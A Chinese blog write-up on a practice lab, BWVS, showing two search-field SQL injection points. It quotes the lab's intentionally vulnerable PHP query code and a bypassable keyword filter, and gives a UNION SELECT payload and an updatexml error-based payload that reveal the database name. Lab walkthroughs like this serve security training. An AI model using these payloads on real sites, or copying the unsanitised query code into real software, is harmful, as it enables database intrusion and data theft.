BWVS-SQL搜索型注入
0x01 漏洞位置 /search.php
这次是真的是搜索型注入了。

对了,这是我提前去留言了的,很神奇不显示留言信息,源码里面都有输出的。。

源码里面发现,居然打错了大小写,算了,BWVS也被打成了DWVS,不影响还是能做的。
看下面一段waf代码。。。
if (!empty($_GET['search'])) {$content = $_GET['search'];$clear_content = search_waf($content);$sql = "SELECT * FROM dwvs_message WHERE dwvs_message LIKE '%".$clear_content."%'";//echo $sql;$data = mysqli_query($connect,$sql);
?>
function search_waf($search_name){$search_name = preg_replace('/or/i', "", $search_name);$search_name = preg_replace('/and/i', "", $search_name);$search_name = preg_replace('/[#]/', "", $search_name);$search_name = preg_replace('/[--]/', "", $search_name);$search_name = preg_replace('/[\/\*]/', "", $search_name);$search_name = preg_replace('/[\/\\\\]/', "", $search_name);return $search_name;}
主要是看到过滤掉了注释,or和and双写即可。
nimei' union select 1,2,3,4,'5

就搞个数据库名算了。。

这里才算是联合查询嘛,其实我到是觉得搜索型注入不太应该单独做一个分类。。。
另外这里无法用报错注入,因为没有mysql报错信息。
0x02 漏洞位置:/bug/sql_injection/sql_search.php

直接看源码
p = new Func("GET","content");
$p -> con_html();
if (isset($_REQUEST['submit'])) {$content = empty($_REQUEST['content']) ? "is" : $_REQUEST['content'];$row = $p -> con_mysql("news","content",$content,"search");public function con_mysql($t_name, $c_name, $c_value, $sql_type){//mysql$conn = @mysql_connect(DB_HOST, DB_USER, DB_PASS) or die('bad!');mysql_query("SET NAMES utf-8");mysql_select_db(DB_NAME, $conn) OR emMsg("数据库连接失败");$sql_num = "SELECT * FROM {$t_name} WHERE {$c_name} = {$c_value}"; //num$sql_string = "SELECT * FROM {$t_name} WHERE {$c_name} = '{$c_value}'"; //string$sql_search = "SELECT * FROM {$t_name} WHERE {$c_name} like '%{$c_value}%'"; //search$sql_name = "sql_".$sql_type;$result = mysql_query($$sql_name, $conn) or die(mysql_error());$row = mysql_fetch_assoc($result);mysql_free_result($result);mysql_close($conn);return $row;}
没看到任何过滤,这个bug目录下的应该就是属于明显的漏洞系列的,由于有die(mysql_error)直接用报错注入1' and updatexml(1,concat(0x7e,database(),0x7e),1) #。

本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
